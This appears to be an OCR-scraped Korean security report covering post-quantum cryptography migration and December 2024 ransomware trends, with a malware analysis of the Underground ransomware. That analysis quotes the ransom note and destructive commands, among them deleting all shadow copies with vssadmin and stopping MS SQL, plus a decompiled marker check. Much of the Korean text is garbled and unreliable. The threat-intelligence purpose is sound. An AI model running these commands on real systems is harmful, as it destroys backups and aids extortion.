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Original data up to the year 2010 collected and plotted by M. Horowitz, F. Labonte, O. Shacham, K. Olukotun, L. Hammond, and C. Batten
New plot and data collected for 2010-2017 by K. Rupp

* ZX: https://www.karlrupp.net/wp-content/uploads/2018/02/42-years-processor-trend.png

12l 1. 42 Years of Microprocessor Trend Data
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2024 H 12 & 10 & 32 HH Al(Goole Quantum Al) ¥3AE 24Xt & &IZ22(Quantum Chip
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Random Circuit
Sampling (RCS)

Classical Supercomputer

10,00/0/00/0/000,00/0,00/0 000, 00/0 000

or a timescale way longer
than the age of the universe.

* ZK: https://www.youtube.com/watch?v=W7ppd_RY-UE&ab_channel=GoogleQuantumAl

J&l 2. Willow Chip's RCS benchmark

OfZl 2tT5| o8etel A HFRHE HUEIX] FUAX|T? oAxf B2 THS O|F1 QAUCh W20 LAt
AFE JHEZ Qs 2 =ob ol thet Olx7t 22 H MAHE thFE1 ATt
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5l ¥ (Double-slit experiment)"0flA] 2HEFE 4= QUCE.

(9) B=S X %L

* ZX: https://m.blog.naver.com/iotsensor/222929618559, wikimedia

32l 3. Double-slit experiment
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Ct. 217t &A ofdie 4= A= BULE SHX|TF AES SFX| U™ QEZKE SO|Lt 8o

ojet Z2 ZiPJt LI2e A2 ol =29 mIsXNE TAPE & &3l SAlol SaChE 2lo|jolz,
StLtel HAE & O SAlof EMeitl=s 0| Eltt. 2EXHOZ dite| HAts HEXHCR EXY + U=

£ 220l sAlo QUCk= 80| EICH 0210 YXb ZHFo|Ct.
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FXF Asl(quantum entanglement)

ZME|X| A2 (YAt FE ME) & LXp7L 3ZHEHOZ HE| Ho{M US w, ot Xt AX; AEHIL ZHO|
B MEHVF Z™EH CHE QXte| MEf St SA0| 20| Ele dAS sttt & URIE LRE AR AEHO|
UACHH ofF2| H He|o| JACtD stHEtE, ot (XS] AI(Spin) AENZE RI(Up)22 MoiX|™ CHE XIS
AI(Spin)MElE CH2(Down)2Z2 ZH0| =Ch XHME 712 X} 3t o] SAo MMEE=E HLIt
Ve, F HXxte M3 GEB0| £H-2EOE MZ CHE ool MEfjol| It M= @ako| £X0|HLt fHol
SH MElof| e F EX= ZHS Soff 3 Xe M2 WH0| 2HOZE FHX|H, CHE FX= O FAl
3 WEko| 202 HofZICt,
Measuring a Pair of Entangled Photons
iflis then 2 must
/ red be blue
iflis then2 must
\ blue be red
* ZX: https://quantumatlas.umd.edu/entry/entanglement/
a2 4. ¥xt B
s W3 wigk W M|t & sifeld], ®o|Eto| 2zt HA Lizte mpSo|ct o] mf M7|E mise| Fsuste W2 wheolztn
BiC},
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t2t OfAI|(Alain Aspect), & 222X (John Clauser), 2HE XI2AZI7{(Anton Zeilinger)e= A AE 3
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NOBELPRISET | FYSIK 2022
THE NOBEL PRIZE IN PHYSICS 2022
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Photo: Pator Lyons
Photo: Sepp Drelssinger

Alain Aspect John F. Clauser Anton Zeilinger

_Université Paris-Saclay & J.F. Clauser & Assoc., University of Vienna,
Ecole Polytechnique, France USA Austria

“fér experiment med sammanfiétade fotoner som pévisat brott mot Bell-olikheter och
banat vag for kvantinformationsvetenskap™

“for experiments with entangled photons, establishing the violation of Bell inequalities and

i ioneering guantum information science”
#nobelprize P 29

* =X https://www.nobelprize.org/prizes/physics/2022/prize-announcement/

12! 5. Alain Aspect (21%), John F. Clauser (7I2l), and Anton Zeilinger (2&X%)
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2|of| HEH(Quantum Fourier Transform)2
OFX} 2|

t PQC(Post-Quantum Cryptography)
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&= HERCE T2t SX HARE 2FoME 71Z9

, 19944 T|E| 20{(Peter Shor)e LAt &
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. o o Kyber
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- N FALCON
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Code-based Cryptography °° ° e HT T = McEliece
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Quadratic Equations)E 0|8%t ¢=3l dn2|E
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Hash-based Signatures AzfE 712 &EL i W2 & Netd(collision resistance)2 &%t XMSS
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CRYSTALS Team
Peter Schwabe, MPI-SP & Radboud University e o
CRYSTALS-KYBER AKX} 7|5 F7M7| L=t | ust
Q| 10%
https://pg-crystals.org/
CRYSTALS Team
Vadim Lyubashevsky, IBM Research Zurich
Q| 794
https://pg-crystals.org/

FALCON Thomas Prest, PQShield 2| 99 274 7t FXEA
https://falcon-sign.info/
SPHINCS+ Team
Andreas Hiilsing, Eindhoven University of
Technology & SandboxAQ 2| 17%

https://sphincs.org/

CRYSTALS-Dilithium ZZt 7|4 HAME

SPHINCS+ SilA] 2|t HAME

H 2.2022'F NIST &% PQC ¥112|&

3717 ¥=2t PKE(Public-Key Encryption)et 7|uet 2112|EF KEMs(Key Encapsulation Mechanisms)
O=Z CRYSTALS-KYBERE MAM, FMXIAH(digital signatures) ¥12[E2Z CRYSTALS-Dilithiums
MAICE FIt2 CIXE MY L02[ZE9Z FALCON 2 SPHINCS+= EZESHE! AlZo|Ct,

ZLHHIM = LA} LY ASopot A7 e
HMIZ=iCt 0] & HImQet Lizard €12|5

1

S0[12, of2f 4719 &nE|FO0| JHEE| 2017'H0| NIST S20f|
2 EPESUTIEHS(TTA)S EEEME SERICL

¢nzE JHE 7|2t 718t Zx| 2
EMBLEM and R.EMBLEM iz f=lam ARt 7[gt 27h7| =t
pagsigRM ARIHHASAHTREE kpgc L= 1) HXME
HImQ e S il (o1 b CHH== O|Xf CHetA MM
Lizard KISA(;:?ZH;E'LE%%J) o 7hed

E 3. IU Y X LY LBE

@ 24 U Y=2st PQC HE 20k

Axt LY Yzoh= Lot ARBEE 20k 53 3I17| d=stit AFElE 20k 25 XE0| ot S7H
7| A2SE ALt BE2 A LY elE AMRE0F 5ta, tETIIE MESh= BE2 AES 256bit 0|
49| 7|15 AEdHoF St SHA2, SHA3 EESH 256bit 0|&te| 7|5 AMZSHoF SITH(7|&s2l 8, FAH &A
of et CHE7| 2ot 7|18 A& HEE AOoICt).

TLS(HTTPS)

CHEXNOZ QIEUI0| ALEE|l= TLS(HTTPS) ZZ2EEQ| AR, Xt LM Asst HE0| T4Ch Xt LiY

ADoE AR 7|uets of =, Wetel i3l ¥ HETI|= 256bit OldS ARESHOF BTt

1 —
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Szjolole kil

satex M in

M <->WAS 7t ClojE] 252 217
Aot LRE AL PQC 7|uet Mg LR

PQC 7lmgt =g PQC 7lmgt =g

H 4.TLSPQC Hgt
VPN(Virtual Private Network)

VPN2 3707 SAQZ CHY7|E wetstn, iy 72 oetel BHEAS S0 AT SLS irf.
TLSet ORNIIXIZ 7|weto| AFEEl= S7H7| et Y42 PQCE TeE|o{op 5ti, wetel tiE|l=
256bit 0|&f0[0{0F BiLY.

0|SEtA (Middlebox)

OSEA = UHEHZ FKILE AIAHNM Zls HEE HE, XE5H= UESIS ZH|E Zolth 2 THIZ
= Y3 (Firewall), NAT(Network Address Translation), ZZ= %2iA(Load Balancer),
IDS/IPS(Intrusion Detection/Prevention System)0| UL}

Ux LM st =2 OHZ2IA01M AlZ(Layer 7)o £35t1, D|SEAS SHE2 FE HEQZ A
(Layer 3), & AS(Layer 4) &otct. WatA DjS2AE efootE HOIHE HHSAHL HAsts A
of7| WEofl Lxb LY eyt RRE 20 O SEols 2 #Helrt glig + AL oK Ch3at

7|52 DISHA0E PQCIt HEE|0{oF AFEE 4= UL

ok
ro mio ol

mo

TLS/SSL #AL & E&: A=stEl EEES Sl L HESRIZ HE

Yot HAL YzotE E2EE SRl HAStE s

loT HIERIS= +H2 XIS0| 42AE3ts 2Fo|1, HEst S4E 2l 17| LAz 7|8 uet =
712 oot S4l5ks 20| YRMHOICE Matd 7|uet WAS PQCE Hehs dfoF ShX|2H loT X
£ AHEFE0l 7| WiZol, &H PQCE F&sh=t 0{24=20] UAS = ACE MEH loT FX|Q| FR0ll=
ALt HIEO| R, HiRE|9t CHEZS| RTFAIYO| X2 AT LAt Ud d=sl(Lightweight Post-Quantum

Cryptography, Lightweight PQC) X£0| ZQs}Ct.
=87el/22*E(Cloud) &4

DHY Z8Hel, 2ERE 2F9| AR M Tt TLS, VPN, 0|S2A9 LIEE 2% XSt rt 77|
of 37I2 AMEXL 21F, HAt ME0| SR5IL}.

2, 7EHE BtALE ALgXL Q150| ERoICHE HAt ME2Z 58218M

o Z2 37| Yot HAMS AISSICL MEte PQC Aol 282USAM, SSUSAS| HEO| ER5IL.

S2HRE MH|A9| FRE AREX}F 21F, H2 Mofol A SIH7| ALl TR MEO| AEE|Z] WZo| PQC
YAlo| HA MHO| HRSIC). Eot SEAHLRE0M HOIHE MEY o MEdh= tE7| Y=st= 37| &
o2 7| #2[E st7| WZof|, o] Tt PQCE XMEdl otXstA 7|E 2t2[sHof oict.

+0+o
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JefLt HIEZQISl MAt X|ZH2 J%X| QICh HEZQI2 ECDSA(EHY 3M 25)2t= S717| 2=at A
2 AtEsted|, HIERQ! X£7|0lls 374717t XIZel FAZ AL2E|E p2pk(Pay-to-PubKey) BHAIS AR
Ch. w2t 2R AREE=E 0] 37|12 7HeIF|1E ot & = QURUCH 20104 O|F=2= AFEXIel 3747|7t
SHA-256 diA|2t RIPEMD-160 SHA|Z Hete| A2 ALEE|= P2PKH(Pay-to-PubKey-Hash) 2AIS
AZSH7| WZof|, X|Zh FADO = JHRIF|IE 2ot H 4= A FCE SHX[2H H2l7t O|F K| ATHHO|A =
717 ESLHA| E|7] 20l Xt AFEC] SHo| TS| Fofsto). w2t ECDSA(EH 34 2z) &1
2|52 PQCE Mgtst= 20| HRsiot.

=5
=1
o

e}

HHO|E/IX| FE2Y AF

[
rE
P
4
i
ot
5

HLlof, AMAE AHHO|E, IHX[XE ZSL7t OU=S2
JHRIZ|2 T MHO| E|11, BIH7IZ2 HASS 2 B

7|Z28E JHQI7|E 2LOotH YUHIOIE O AMHIEE AT CHA| MESH=E WAloZ RAM ASS —?—§I3E*
QUL 2t PQC7E HEE MAF MEZ AFEGHOF it %2 38% 34 (Supply Chain Attack)® Azl
%

1 = 2E LH0|E/mX| o] RAY ABO| Q6K Ct miEo| B+HLZ PQC HEO|

St7] 2Is FXE MEO| =0 ULt
3

ZdS =QIoitt. SR HFEIE NEEH, SH

1

OI-

@ A ARES vFa

[

At HRFEZL Lokt ETEHOF oixl| AL8dte ef=etol| IR0l En? SH7| Y=tz Xt HRE SH0|

7tssteAH 3ol RH|EJH ERSITi Sitt.

3717| Y= LdE|E =220 LR FHIE £
RSA-1024 ok 2,0007H
RSA-2048 o 4,000~5,0007H
RSA-3072 oF 70007 0|4t
ECC-256 °F 2,000 ~ 2,5007H
ECC-512 ok 4,0007H

* ZX: "Quantum Computing for Computer Scientists" (Noson S. Yanofsky and Mirco A. Mannucci
H 5. 9 3H7| Y= A|AH ZHo| Hast FHE £

> SAXIL 7|olLt =X SFYUo| HESH ofd TS HIESIHLE AJARS Helish= WAl
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AR ARE JHHO| 7HE oM LiZh= 7|”¥2 IBM2t GoogleZ RHIE 7t 10071 FXCt.

71 7let 71 . FHE % 7|E}
IBM Quantum XM (Superconducting) 127 (Eagle) https://www.ibm.com/quantum
GoogleQuantumAl XM (Superconducting) 105 (willow) https://quantumai.google
lonQ O|=2E(lon Trap) 35 https:/fiong.com
Microsoft EEZEX| FHE )
. ) e = https://quantum.microsoft.com
Azure Quantum (Topological Qubit)
Qxt ozl
D-Wave © =° 5000° https://www.dwavesys.com
(Quantum Annealing)

¥ 6. 7|9E At AFE JHE

A M= 2030H0] E[H AXE HAFEZE 37| =t AIAR| HEXQ! Y

ion of Systems for

».
) K-

OCTOBER 2021

PREPARING ror
POST-QUANTUM

@ Identification of Internal Standards
- a1

Cybersac

2021-2023
Inventory and prioritize
systems

2024-2030
Transition of systems to
NIST post-quantum
cryptography standard

NIST post-quantum
cryptography standard
published

Cryptographically relevant
quantum computer
potentially available

* Z=X: 0|2 27IePHEAS| | (National Security Council, NSC)

O 7. 0= AfO|H Hot H2F NSM-10

 FHIE 7t Qol 20l O|R: ¥t ofddel SE4u ¥ WA mjFolct. £F 2XHE #EA = o S3tE A4Xt HREE,
CHE H& LAt HREQ FHIE £ £Z0| Hlug + giCt
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0 = 9g0l= 37ItE =3 (NSA National Security Agency | Cybersecurity Advisory)OI 2025E0)| Ao
EQ0f, B0 2OFE LAt LY A=E HESH7| AlRfs 2033E7HK| MH, 22tRE § 2= 200l 2
N tZst= EFI2ERl “CNSA (Commercial National Security Algorithm Suite) 2.0"S 2713iCt.

CNSA 2.0 Timeline

20222023 2024 20252026 20272028 2029 [EIEN) 20312032 EIEE)

Software/firmware signing NXARNN
Web browsers/servers and cloud services

Traditional networking equipment

Operating systems

Niche equipment

Custom application and legacy equipment

s CNSA 2.0 added as an option and tested
mmm CNSA 2.0 as the default and preferred
@ Exclusively use CNSA 2.0 by this year

* ZX: NSA National Security Agency

2! 8. NSA CNSA 2.0 Eflztel

LM = S7FEERD eV |sFEEARTE 2035E7MK| 27t &= MA dutE ARt LY d=2 Het

[} —
Sh7] 2Igh "Lt LY e DRAE SRS LEJYCL A0 OIAESH Z0FE Al 7=l opaEgiy, 2030
K| LAF LY 22 MAZ Fets flct MEH Vjgts FEE oFO|H. o|= 2035ENHK| 2 MA ™
ot HIAEHIEL SEXIAUMEE 75 25t S 2 IS et East ME XHelts LHEO]
Ct.

| oo | o ] om0 [ e [ e | oo ] w0 Jowe ] weon]

e sy B2 SUUSES ALY BED AT S8 T1TE
SrTLKES e AT AIBET Tl ARIES B HEIa
g
=y 2Es 3301 s EHE 2
2T 2=

HE = ZEHE 24 2 NS

an 21 oS JiE TR

]

o 218 T [, 7128 ZIB EHE AE
amse (AR0K-F0RA 5 MR SR BE)
ey
=
el SIS HE 7IE 2 7H0/S e / SR AlE B s
SIS EBEHAEJIE ] T HASHE
o == = e URZ2MA FH/ME
o1 T8 AR TR/
e
TR,
T2 ELE BRI D EH 2 omaiol e IS

A= EE=ma= (S8 3 2 ABE MO 5 D) GPKI/MPKI/NPKI =
e

E

NSRS HEOIR 214 TIRIE-H2)
Alge %

STHHELD 2BTIR XYY TSRS EE =S Q14 HD

*EXN: ZMEEE
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X AREE 222 WHNMT 9 7HX7| fIst MEXMOZ ZIFE[D ATt

-

e of M= 2t 29| HEI|#s2
AR ARHE JHSIEEE QR0 SIHSHA| 411 Et=o R7t7|2olLt MY 7|2 S si=st=t €8 A
OF Of|zICth W20l Ol ol ChH[SH| {3 A e et Hets EX{s| ZH|ooF Sirt.
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Keep up with Ransomware

|
St & H I MZYKE 2l Underground HA2l[0]

20244 12 & = *"?ﬂ = Xt 118664 )L 9 B7tet 673 212 7IFRLCE 12 2ol =
ate 8o} g = 12 2o AH %é FunkSec 1F0| 89 7129| L[sHXIE AHA 2, Clop 20|

Cleo At9| o %% E249| F|ofHS A8l 66 712 mhAtE HAAZ! A7 AAT| WhZO|Ct.

Clop O] 223t AN Cleo AlS| MY M& &£FM Cleo Harmony, VLTrader, LexiCom Of|A] 2HAistH
o M| FFH(CVE-2024-50623, CVE-2024-55956)0|Ct. £5] CVE-2024-50623 2 X[t 10 |

LHE FFHOZ XIS HHEYXIZ o mX|z= J|E F|oFHo| PHE| HA|X| @ifen, & & 5
o 7|2 7kset MER FAF(CVE-2024-55956)7HK| LAERCE Clop 2 37lE & FAES A4S
Cloje &3 59| ofd WE +Aok= JAVA 7|”*9| 0|7 “Malichus"E YH=ZEd 3HS UL
Clop 2 XHS9 L3 |E AOIE0 & o moll 7|¥HEs LR TEIN HREFCH, ms
7|19 S0| EHE tSS S| 42 B2 25 '—=|01I HE I3 7I19HE S0 olFol2tn SrRACt.

LockBit 2| #X
NG = Efﬂ | | 2A2|H A IIEHE ZEESH| AZRHCE
LockBit 22 777 Z2{(&at 2F 110 'FJ%J)% Lotz X[EotH 22| mido] H2Y = UAeH,
Windows-ESXi-Linux HZIe| HE0| HE2 =2 moixt z2t2let 22 AmEix| FHA| It
S5t UCL CHEE OFEl LockBit 4.0 Off CHot &HM| ME= SIHE|X| kot X|&Ho= X|HE HRrt U

Mo Aol X&ED Ys JHRM, 12 oz ZF 2 79 S MM AtD Al7h =HQISHCE
RansomHub &2 =L E Mx ME MZEX EHME SZHsH CIOIEHE 37H}HCH, S7HE I11|0|E101|=
MR oA EY 23 HE50| Zate|of QCh L3 Underground 152 CHEY RF AO|ES &0
SoliA I BeH| 2F ®MZE MQ| oloje 23 AAS MAUCE 0|52 msHXt 374 = 0| gt
HRI™E, MM EM7F ZtEl 745GB 37|29 MA| CIo|EHE SIHRCE

IZI

ikl
o Mo

7 WL0f(Backdoor): HaEQl o1F IFES KX i1 AJAHO WIY £ A= AYIE

EQST insight | 14



oM, Xt 10 E 4ESfZ 8 2ot MH[A MIZ @AMl Cisco 2| CI0|Ef 45TB & et

=

=
BreachForums 0 Etof 22 HZEME IntelBroker = Ef%[$H H|0|E{e] BE ZE2 ZIWHCE H|0O|E
QE HE ZAF ALt FC, A3ZE g8l J|Ep EHIXE AS £ U= 2[AA HE DevHub £ EdHA
T

o= 2235, X4 TG, o2 7| EM

A
HO[HE EFlet A= HQIHLCE IntelBroker = EF2t 4|0
FEGon 12 2 25 Yoll= 4.84GB 2| H|O|EE 22 ZIHRCE,

S0| Zet=|of ATt
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’ -) Clop 2, Cleo 2|2+ 283 |32 22

Q Cleo®| THY H& £&8M Cleo Harmony, VLTrader, LexiCome| /%3 (CVE-2024-50623, CVE-2024-55956) ¢4&

(Q 5 AP A Y7I/»7| 2AHOZ, 01 HEH JAVA T y2c Y

(Q & 667 71| ClOIEIS 234ckn 2%

27} oty W9l 28

’ -> LockBit 4.0 27H

(4 LockBit 150| AHAISCI DLSON LockBit 4.0 S Al

(Q 28 SsiM A7 HEHE 25t A0], 777 22| (818t 2 1102H0) 2 22512 490 W g Y2 Ibs

’ -> IntelBroker, Cisco Cl|O|E{ Y& 22 Z7Y

(Q Al 108 223t Cisco2 GIOJE] 4.5T8 & YR 4.84GB & 12% 25Y

FR2 SN

’ -> RansomHub, =L M2 A= A 34

(Q 12€ 3%, M3 ClO|E{9t Bl Clo|Ef S7H Fe3 AAl

(Q M2, 8H, 28 23 d2 50| ZaE|of Yt 3

(Q 12€ 102, 2 58GB A7|2| G0|€] | 27}

Q 2 ?H%E YHP M S 2

(Q 122 199, o 745GB 37|2] GIOIE| | S7H

(Q T3 2192 1190 32 SO, HSL X252 9D AlAY

SR90t0 28
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3 -> A5 LeakedData &, T{5Hzt 4074 HIA ]

(Q 22loHoj| tlo|H 32 U CHRZE AD|ES s 2

(Q TIsHAtel cijofEf S7H FMofl= 0|52 LE|YSH |, UH AZH0| ALK O|F 3t Z | C|O|EIS S7H

3 -) 477 Funksec 18, TisHR 8971 A |

Q 128 42 LAMCH, LAY 7= ALO|E0l| Z 89712 TIGHAR H|A|

() =H49i0f L ClO[E] 370 eloll=, 2714l &3 U ME|AS S
() DDoS 34, Gmail 23| =4, hVNC =7 222 Hj=

() $RO0IE ¥ M~ T 7|82 23

Y ) 4+ BlueBox 2E, T3t 37 AlA

(Q 12% 10% 2#sion], & 3240| LIS AA|

(Q 12% 25URF Ot Y |2 AMO|E0| M£0| 27458 AEY
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@ 240

do
1%

O New ransomware varant

Dharma : MAGA
68 Medusalocker : allciphered?0, luck_06
Prince : black

Chaos : .crynox
Beast | GURAM
: Globelmposter: .novalock

o W New ransomware & group

FunkSec, BlueBox, LeakedData

I
1
-
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e

l
-
l':

O O =
65 77

(3) ewms ) o

() saieiee oD

o 21 ° 19

M22 2

12 ol & 3 7Hel & A 2F0| LAHRCL BlueBox 2E2 12 & 10 & LATCH, LA FAl
2 9| mBHXI7E AINEIO JAUCE FY = FIt= 1 AE O AAMRX[TH 12 & 25 LREE= CI3Y !RE

ALO|EOf &S 4= Qli= MEHCH

12l 3. FunkSec Ct3HE AOIE

A o 3FQ! FunkSec 2 12 E 4 € HAMCOH, XSl Ci3E MOIEE SHliM 6 7|e
CIO[EIE Aot ATt 0|52 12 Hof|2t 89 19| A LBHAIE AAM=M, 7|0l EFlet HlofE®
ofLlzt EX7t == 7H°|"*E(011"J AZEE S) g Molist UCE FunkSec 2 AES €iE|ES
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0|8 TiY e, BatexISl A ClOE Y9t 2HA M° 59| IS5 T FunkLocker & SEoID
: 2

QUCE 22 OfL|2} DDoS &4 T+, Cmail AE &3 =7, 7t HESZIE 7= AL =21 &
H20| 7t

53t hVNC Sf4TE SO Cigist E7 U AHIAS 222 HIotn Uk,

]

F0 BE ANNOUNCED

FAKED DATA:

T COMPANY
FEVENLE

12 4. LeakedData 8% AO|E

rot
r&

, 220uloM &Ssts I8E RIRCt LeakedData J&2 22(0{ulE Sdlf HI0|EE J7Hst
= k=1
=
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=
IS2 12 Y S Sot & 40 To| WeIRIE YZCHCH Aol I ofFQl VIl oS
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me 30
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23S & SIHeIC.

Top5 &ML

95%

10% 4%
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7 i
5 A
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LeakedData

73%

3%

3%

035, AYR7ME TR Mol 27 wE
8 Z|tHA M(Reverse Shell): ZZX7E AFHO| HESH =41 Aot HAE0], SAHXIE A|ARIS| HAYS HWT £ Q= AYTE
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FunkSec J&2 12 2o S&tt 20T 89 719 L[SHXtE AAISHH 7 2| &33UCt 0§
7|9l HIo|HE EFsH EofsH= OfL|2t, ol 7|¥el QlzatLt BAO|E 2t2| HO|X[of Chet HAM|A
CHefet HIO|EHE THoNStD RUCE 0212t C|OoJE Ho 2|0= DDoS
£ RI=2 HiEstD QICt £ FunkSec 1E0| 243 7|19 &

ClHo|A® & HRX ERfetrt.

—

rlo
2 _Hﬂ oln H'I

A, AE =3, hNC o Z
H
o

£ FunkSec 9| 0|0|X|7} &lg|

O

23 H 2" oY ME(MFT) =39 MOVEit Transfer, MOVEit Cloud 2 SQL QI®M F2FM(CVE-
2023-34362)2 &8¢l 2 Al AtnE HWMAIRATE Clop 50| 24 Hol= MFT =79 FAMS
o|8sf H& AMBE YoFCL 0[F2 Cleo Al I HME £FM Cleo Harmony, VLTrader,
LexiCom OflA ghdist md M7 FFH(CVE-2024-50623, CVE-2024-55956)2 2484 343U,
66 7H9| 7|o| FSHHAMLE. HMS msHR 2| AEE I7HY mie 7|FHO| HHE E AMEfE IIHRSLL,

o
ool TITo| gleH 25 Ho| 2= 7|Y 2[AES S0 02t of|a3yct.

RansomHub J&2 12 & 5 & = 7|gQl 0= XLAE SHsH 2F 200GB 72| HIO|HE EF(UCt.
ojs 7|2 2020 H Q4 O|=o] eI AMIZ, RansomHub = 7 & 0l 12 & 12 Lof FA|
CIO|EE =mAZ SoWRCL ot 0j=9| oz 3 AH[X ME YAl Tekni-Plex & 3Zd <
420GB 7zl Tizist CIo|HE EHF MM, o2 AHfAMet £

RansomHub = Y40 Ags| XIME|X| @iXt of 3 o ZHHOE EfFoh Co|Ee] YR L= ik ME

LHHE SHA2H

<

Xk 11 €, 74 A9l DsiXtE SHsHH 30| SBYUE Akira IF2 12 oz 49 9| IHXIE
HIMA|F | 2tehs| Ss3Ct Akira 122 0|=29| EXt 3|AR! Luxor Capital Group € 2l 2|2

71E20HEY SYM I MUa8 FEAY HH Y2 S

fjo

HFUCE.

12 2of S¥¢t LeakedData 2F2 40 9| LBiAtE S7Hstx, S2(0{HlolM 2T Sl =2 HolH
FE AMOIEO| IDShAtE AAZLE OS2 A7 DloiAt S0 Al e 712t SAoll= 7I18ES EEZH
L=

LI, FlE AlZHol X|LHH 7|FE 0t A HOIHE Soloks WAlE ALgSiCh S0 DiEl 71Y &
L4

— |
29 20| O|= AX{0|H, LHFEZ0| 82 HE/MF 20k 7|g2= =feldl

=

=
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° C|H|O|]A(Deface): & AMOIEQ| CIXIRI2 79| Q=iZ HAH S0 43WUSS Lel= 37 WA
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@ g0 TS EFHA

uﬂdz'ww q Data  Announcements

ALL DATA

&
=

Choose countries

P =
Revenue: $ 760M

Type: Electronics

Revenue: $1.858 billion

Type: Industry, Electr..

Country: South Korea
Date: 12/16/2024 12:32
Size: 745,1 GBytes

Country: Japan
Date: 10/09/2024 09:06
Size: 204.9 GBytes

Choose companies

&
=

e S -

Revenue: $1.7 Billion

T [ o e
Revenue: $ 670M

Type: Pharmaceuticals

Type: Business Service...

Country: USA
Date: 10/25/2024 08:22
Size: 1,1 TBytes

Country: France
Date: 07/01/2024 08:22
Size: 875.4 GBytes

12! 6. Underground CHa gl

& MOIE

Underground 182 23 9 7 @ ZAHE JOF0[Ch 0|S2 &3 x7|0 Exo CI3Y REF AMOIEE=
2FSIK| fUCH, HHEO 7|ME *HE AO|EE SoHM Zat WS Tst= HAS AL 24 F
5 Holl= ms 7|YERE EF Tt CO|EHE AHASt=s Al CIEY |f= AO|EJL YARMCH, 0|2 Sl
243 12ENK| B 1979| TSHXLE AAIRICE AA[SE DXt & 2X2 I =X NZE =elom, 212t

3 21 12 Zof| 2

-
ot

CllojEf7 Y2 =T

Underground Team

DOWNLOAD
AMR 27| Xt2(EZHA|~) 2 jpg
DOWNLOAD

QUALXIZIA_ 24 ol

HAHHE 0.jpg

DOWNLOAD

12l 7.Underground 15 2|03

OS2 ot 24 A 3 EFEH 220zl x2S 2F5P| AEMCH, MEs SHM L7 s 7I1Y =7t
220 ME HI0[HE SRdk= AR Ottt 22kl M4 MH|AQl MEGA off TA| HIO|EHE Y=E o F
0| "I SRtz ZEX =AM
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[Sources of downloadsd information:

- company financial documents, password protected financial documents (passwords selected)

- personal data on employees (passports, SSN's, ID's, W9-forms, payrolls, medical information, contracts of employment, drivers
- personal information on directors

- sharsholder documents

- insurance documents

- documents and drawings marked confidential

- NDA's and Confidentiality Undsrtaking

- project documentation (project specifications, confidential drawings, contracts, customer correspondence, financial documents
- information and correspondsnce on classified projects

Total size of downloaded data about 500 GB.

I data breach is a violation of the law and has seriocus legal and business ramifications. Personal data leakage is subject to:
- the EU's General Data Protsction Regulation (GDPR),

|- South Africa's Protection of Personal Information Act (POPIZ),

- State Data Breach Notification Laws and State Privacy Legislation in the USA (including California Consumer Privacy Act, Cali
- other laws and regulations pertaining to the protection of confidential data.

12l 8. Underground #MLE

Underground 1E2 =2 U&E2 HHLEE Hot § AISSlC HHLEO= 7|22 EHF ot
HlolEel 2lxEet & : 2 uhAftg 3P

= S
RIS Hefehs D&2 Holm Utk w3 WM-EO R MY
XLt

PWE HSdHA s
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Underground Ransomware

[ 3DES ¢¥12|Z0Z I U4D

33 RSA YD ZO2 7|9} IVE BE
E A

A 3DES B
- -
File Encrypted

4,\

File

ezt 7|

Encrypted
Key

TimeStamp
Encrypted
v

£
[1{°]
Jo
>
r

=
=

HA| 2ost (| A7

Im
N
N

}

3DES&RSA ¢&5} || O[HIE 21 AR

) treadmeltltxt - Windows H2%
Tgrm BLE M40 27M ES2H)
The Underground team welcomes you!
We would like to inform that your network has been tested by us for vulnerabilities.
Poor network security could cause your data to be lost forever, including backups.

Attempting to recover data by your own efforts may result in data loss.

DO NOT reboot or turn off storage media.

e
0
Im

Sources of downloaded information:
- company financial documents, password protected financial documents (passwords selected)

- personal information on directors

- shareholder documents

- insurance documents

- documents and drawings marked confidential
- NDA's and Confidentiality Undertaking

Your files are currently encrypted, but don’t worry, they can be restored to their original state with a decryptor key that only we have. "

It is important not to change their current state. Each file additionally has a unique cipher, which you can restore only with our help.

If you do not contact us within 3 days, or we cannot reach an agreement, information about data leaks is bound to get into the media.

- personal data on employees (passports, SSN's, ID's, W3-forms, payrolls, medical information, contracts of employment, drivers licenses

readme!!! txt

r

22 g gl

ojo

C/C++

’\Lﬁ
2
2

12! 9. Underground H&g)of 712
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Underground 2Hdgjlo] M2t

Initial Access
Discovery LDEgoo] FAHS F25 27| AT
™M |co H‘
23| Sajol e by 5 :
AAGAIE HH WA | EHE efense Evasion
g g_ g 1'-7}1_!2“
Execution HE]  OMIE =1 A
&
i3] ASYEE EE5 71 2Y Impact
— oo o L LIRET]
§§ glojef 2o3t
Sl e =z A
H
12110. Underground 2Meof 22 Mzt
Underground #HE{Y0{= M Windows HHOE 83 WY =AEE AAStn A 21 MS SQL
MHE FXIAIZICE S HXAEZIE M6 | &0 AEBE= A oA3se 2o )X AlZts
14 U2 HADIC ALESH= MA| HEHOo|= otz Hef Tt
HFHO0f A
vssadmin.exe delete shadows /all /quiet B SARE AFH|
reg.exe add HKLM\SOFTWARE\Policies\Microsoft\Windows
g ) ] ) o Remote Desktop %|Ci HZ&
NT\Terminal Services / v MaxDisconnectionTime / t REG_DWORD / d Azt HH(142)
1209600000 / f - eeTE
net.exe stop MSSQLSERVER /f /m MS SQL ANH =&
B1 4 B
Ol 24Moz Uzt WEEZ TIMsh=h|, Ttek QIXE HEol Uzst CH Z=E UHJUCHH oY
ZE22t ot Z20|| Exfste DT ASSIE TIMSCE QIXIE UHSHK| AUCHH M| E2t0|HE EHHSY
ASSE TIMsHoF otCt. S LHRO| XNEE ol S5 =eldl, LR ClAEZe HAXE 717 o2
ASoE TIAHSHK| Qb=Ct. of|] =2 oz B2t ZCt.
C|2lE] 2] ‘ shaixt
Windows
Microsoft .sys, .exe, .dll, .bat, .bin, .cmd, .com, .cpl, .gadget, .inf1,

google\chrome
mozilla\firefox
opera

.ins, .inx, .isu, .job, .jse, .Ink, .msc, .msi, .mst, .paf, .pif, .ps1,
.reg, .rgs, .scr, .sct, .shb, .shs, .u3p, .vb, .vbe, .vbscript, .ws, .wsh, .wsf

B2 g=ot oflel oy

EQST insight | 24



*1DistanceToMove = Bi64;

*FileSize = v2@ - 4;

*DistanceToMoveHigh = @ibd;

SetFilePointer(Filel, v2@ - 4, &FileSize[1], @);

ReadFile(Filel, w15, 4u, &NumberOfBytesWritten, @ied);// read last 4Bytes

w2 = *FileSize + 4i64;

*Filesize += 4i64;

if { *vls == 8x31415926 ) // Check Last 4Bytes of the file
goto LABEL_63;

CIME2|E =2l6HH s} ty ThUof st Mot 5, siE oo o|n| =t mHURIX| =helottt
Underground #d%0i= MY Ao} Ol O =X HES SHX| 47| MEo Y=etel ool Zof
4Bytes 2| A[JL|X{(0x31415926) =713l &=t (IR E AlESICL Mt 2fetE Eldss| Fof o
